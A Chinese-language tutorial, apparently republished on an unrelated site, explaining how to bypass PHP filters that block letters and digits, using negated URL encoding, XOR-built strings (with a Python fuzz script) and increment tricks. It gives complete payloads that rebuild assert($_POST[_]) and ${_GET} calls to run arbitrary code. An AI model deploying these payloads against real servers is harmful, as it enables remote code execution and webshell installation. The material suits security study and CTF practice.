PHP代码执行绕过姿势 无数字字母类型 |
您所在的位置:网站首页 › 华为nova7pro微信信息不显示 › PHP代码执行绕过姿势 无数字字母类型 |
问题引导 URL编码取反绕过 注意: 该方法只适用于PHP7 对想要传入的参数,先进行URL编码再取反 例如传入构造一个phpinfo(); 异或绕过 在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。 例如:我们异或 '?'和 '~'之后得到的是 'A' 字符:? ASCII码:63 二进制: 0011 1111 字符:~ ASCII码:126 二进制: 0111 1110 异或规则: 1 XOR 0 = 1 0 XOR 1 = 1 0 XOR 0 = 0 1 XOR 1 = 0 上述两个字符异或得到 二进制: 0100 0001 该二进制的十进制也就是:65 对应的ASCII码是:A两个字符异或可以得到一个字符,下一个问题就是如何控制得到我们想要的字符 这里的正则过滤了所有26个字母大小写,如果我想要传入一个eval($_POST[_]); 就需要异或得到这个eval($_POST[_]);字符串 那么如何知道哪两个字符异或可以得到我们想要的字符,就比如如何得到第一个字符 e 这里使用python脚本fuzz测试了一下,脚本如下: def r_xor(): for i in range(0,127): for j in range(0,127): result=i^j print(" "+chr(i)+" ASCII:"+str(i)+' '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result)) if __name__ == "__main__": r_xor()这样就可以知道我们想要的字符的对应哪两个字符异或,只需要找到正则里没有过滤的字符异或得到我们想要的字符 接着看一下PHITHON师傅的一个payload 这里PHITHON师傅使用的是assert($_POST[_])在PHP5当中assert()的作用和eval()相似都是执行,只不过eval()只执行符合php编码规范的代码,PHITHON师傅这里还有就是使用变量进行payload拼接,拼接起来payload如下: $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);因为有很多不可打印字符,所以使用url编码表示 然后只需要在POST里面传参 _=phpinfo(); 还有paylaod如下: ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 即: ${_GET}{%ff}();&%ff=phpinfo 还有可能出现要缩减字符的情况,参考末初学长的文章 https://blog.csdn.net/mochu7777777/article/details/105786114 递增递减运算符绕过 也就是说,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。 那么,如何拿到一个值为字符串’a’的变量呢? 巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array: 再取这个字符串的第一个字母,就可以获得’A’了。 利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a): |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |